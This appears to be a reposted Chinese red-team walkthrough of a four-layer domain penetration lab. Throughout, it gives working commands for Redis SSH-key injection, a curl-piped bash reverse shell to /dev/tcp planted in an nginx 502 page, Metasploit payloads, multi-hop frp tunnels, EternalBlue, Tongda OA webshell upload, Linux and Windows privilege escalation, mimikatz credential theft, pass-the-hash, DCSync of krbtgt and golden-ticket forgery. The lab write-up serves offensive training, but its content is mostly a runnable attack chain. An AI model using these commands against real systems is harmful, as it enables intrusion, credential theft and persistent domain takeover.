环境搭建:
如图结构所示,攻击者和web1服务器模拟互联网处,web1为双网卡,
.31为互联网,其.52通向二层网络,web2通向3层网络.98,剩下主机通向4层网络.93
外网打点:
通过Kscan扫描web1服务器发现存在redis和nginx服务,对redis连接看看是否存在未授权访问
可见存在未授权访问
对于redis的打法有以下几种:
1.利用redis写webshell
利用前提:
目标机redis连接未授权
redis-cli -h 目标ip 连接成功
keys * 未启用认证
开启web服务 知道网站路径 如利用phpinfo得知或错误爆破路径得知 还需具有文件增删查改权限
2.利用公私钥认证获取root权限
利用前提:
当redis以root身份运行,可以给root账户写入ssh公钥权限,直接通过ssh登录服务器。
靶机中开启redis服务 redis-server /etc/redis.conf
在靶机中执行 mkdir /root/.ssh命令 创建ssh公钥存放目录(靶机是作为ssh服务器使用的)
3.利用crontab反弹shell
利用前提:
在权限足够的情况下,利用redis写入文件到计划任务目录下执行(只适合CentOS系统)
4.主从复制RCE
利用前提:
未授权访问 : 未启用认证功能或认证密码为空,用户可直接连接
授权访问 : 能通过弱口令认证或者直接知道认证密码访问到Redis服务器
访问下web服务
因此这里不能用到写入Webshell的方法
直接试试主从复制看看
工具地址:
https://github.com/n0b0dyCN/redis-rogue-server
redis-rogue-server,未授权使用,python3.5以上
不知道什么原因没有成功弹回来shell
使用第二种方法写入公私钥
在攻击机上生成ssh公钥:
ssh-keygen -t rsa
将公钥导入1.txt文件:
(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > 1.txt
把1.txt文件内容写入目标主机的redis缓冲中:
cat 1.txt | redis-cli -h 192.168.31.123 -p 6379 -x set hello
连接目标机器Redis,分别执行如下命令将ssh公钥写入目标主机
设置redis的备份路径为/root/.ssh/:
config set dir /root/.ssh
设置保存文件名为authorized_keys :
config set dbfilename authorized_keys
将数据保存在目标服务器硬盘上:save
然后直接ssh 192.168.31.123即可无密码连接
查看网络发现存在52的网段,我们上传Fscan扫描下
攻击机开启http服务,wget命令把fscan拉过来
发现192.168.52.11存在laravel的CVE-2021-3129漏洞
github地址:
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
利用该漏洞前先MSF生成个linux马,传过去
:
background 把会话挂后台
route add 192.168.52.0 255.255.255.0 1
之后建立Socks5代理
use auxiliary/server/socks_proxy
show options
查看模块详情
set SRVHOST 127.0.0.1
set SRVPORT 端口
编辑/etc/proxchains4.conf
为127.0.0.1 1080即可
当然也可以使用Frp工具建立多级代理:
攻击机设置:
frps.ini
[common]
Bind_addr = 0.0.0.0
bind_port = 7000
启动
chmod +777 frps
./frps -c ./frps.ini
web1服务器设置:
frpc.ini
[common]
server_addr = 192.168.31.168 攻击者的VPS
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
启动
chmod +777 frpc
./frpc -c ./frpc.ini
windows下用Proxifier连接192.168.31.168,Socks5端口为7777即可
linux也一样
CVE-2021-3129的工具地址:
https://codeload.github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
这里发现很奇怪,打不通,后面才发现是配置了nginx反向代理模式,将 81端口收到的请求转发给了 http://192.168.52.20:8000。
shell 反弹不到攻击机,只能使用192.168.52.10做为跳板机
由于网站是挂掉的,这里的思路是通过修改nginx的配置的自定义502页面为一句话反弹shell的502.html这样,也就是把bash命令写入html文件,再通过
curl http://192.168.31.123:81 | bash
满足于81端口收到的请求转发给了192.168.52.20这台机,访问触发502执行我们的反弹shell
一句话内容为:
bash -i >& /dev/tcp/192.168.52.10/1234 0>&1" # 反弹shell
自定义502页面
502.html写入反弹shell,这里一开始写成了5555
最后记得重启nginx
命令
nginx -s reload
后面也是同理生成MSF的linux马,wget把马拉过来,MSF监听获得会话
命令:
use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
set RHOST 192.168.52.11
set LPORT 6666
exploit
发现第三层网络通向98的网段,并且是低权限
权限提升:
上传linux-exploit-suggester.sh提权辅助脚本
用CVE-2021-4034看看
github地址:
https://github.com/zhzyker/CVE-2021-4034/
成功提升root用户
后面同理将MSF的马拉过来用root权限运行即可
建立98网段的路由:
获得MSF会话后建立98网段的路由:
background 把会话挂后台
route add 192.168.98.0 255.255.255.0 2
route print
frp建立多级内网命令:
web1服务器设置:
frps.ini
[common]
bind_addr = 192.168.52.10
bind_port = 7000
启动
chmod +777 frps
./frps -c ./frps.ini
在web2服务器中设置如下:
frpc.ini
[common]
server_addr = 192.168.52.10 web1服务器
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
启动
chmod +777 frpc
./frpc -c ./frpc.ini
在Windows的proxifier代理规则增加
192.168.52.*
192.168.98.*
即可
linux中就
编辑/etc/proxchains4.conf
vim /etc/proxychains4.conf
socks5 192.168.31.168 7777
socks5 192.168.52.10 7777
把Fscan通过MSF的upload功能上传后扫描98网段
192.168.98.11的Windows7存在MS17-010和通达OA服务
发起永恒之蓝攻击
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.98.11
set LPORT 7777
exploit
失败
在github中找找通达OA的RCE脚本
地址:
https://github.com/admintony/TongdaRCE
使用weevely的Webshell管理工具
生成backdoor.php后复制内容改下RCE脚本的payload
成功上传后,weevely连接
成功连接Webshell后同理使用weevely的upload模块上传MSF马上线MSF即可
上线三层网络的Windows7
发现是在域中的
域信息收集命令如下:
net config Workstation
net user
查看本机用户列表
net user /domain
查看域用户
net localgroup administrators
查看本地管理员组
net view /domain
查看有几个域
net user 用户名 /domain
获取指定域用户的信息
net group /domain
查看域里面的工作组,查看把用户分了多少组(只能在域控上操作
net group 组名 /domain
查看域中某工作组
net group "domain admins" /domain
查看域管理员的名字
net group "domain computers" /domain
查看域中的其他主机名
net group "doamin controllers" /domain(然后ping 域控的域名获得IP地址)
我们在WHOAMIANONY域中,并且是低权限的域用户
通过刚才的systeminfo进行补丁提权法进行提权
查询下即可
使用CVE-2018-8120进行提权
成功将Windows7提权至system权限
MSF加载mimikatz
命令:
load kiwi
creds_all获取凭证
Windows7还存在四层网络通向93网段的,MSF继续添加路由
frp的话,建立命令如下:
web2服务器的设置:
frps.ini
[common]
Bind_addr = 192.168.98.10
bind_port = 7000
启动
chmod +777 frps
./frps -c ./frps.ini
Windows7设置:
frpc.ini
[common]
server_addr = 192.168.98.10
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
启动
chmod +777 frpc
./frpc -c ./frpc.ini
在Windows的proxifier代理规则增加
192.168.52.*
192.168.98.*
192.168.93.*
即可
linux中就
编辑/etc/proxchains4.conf
vim /etc/proxychains4.conf
socks5 192.168.31.168 7777
socks5 192.168.52.10 7777
socks5 192.168.98.10 7777
使用netbios 的扫描
use auxiliary/scanner/netbios/nbname
发现第四层网络的存活主机为:
192.168.93.30(域控DC)和192.168.93.40(PC2)
用刚才的mimikatz获取到的域管理员凭证拿下这两台
横向移动:
这里使用wmiexec.py进行哈希传递横向
命令:
proxchains4 python3 wmiexec.py -hashes LM:NTLM 域administrator@横向的IP
成功横向了PC2和域控DC
域权限维持-黄金票据:
为了方便,这里用MSF的psexec模块进行横向
也是可以分别横向域控和PC2获取MSF会话
之后进入session 9的域控中加载mimikatz
记录该DNS Suffix
命令:
kiwi_cmd "lsadump::dcsync /domain:WHOAMIANONY.org /user:krbtgt"
获取krbtgt的NTLM
之后就是制作黄金票据
load kiwi 将mimikatz模块加载
golden_ticket_create -d WHOAMIANONY.org -k NTLM -u administrator -s administrator用户的SID值 -t /root/administrators.ticket
注:
-d 后接域名
-k krbtgt账户的密码hash值
-u 任意的用户名,那么这里我就用administrator
-t 将生成的票据保存在kali中,administrators.ticket这个文件名字以及后缀可以随意
sid我是通过
kiwi_cmd sekurlsa::logonpasswords
该命令来获取
之后随便进入一个普通域用户的session
最后dir \DCc$
即可拥有访问域控制器权限
END.....四层域渗透结束
Q
该靶场是由以下链接改过的靶场
A
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
# 往期推荐 #
交流群已满加微信号PWNCat
~
原文始发于微信公众号(PwnPigPig):红队-四层网络下的域渗透攻防
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论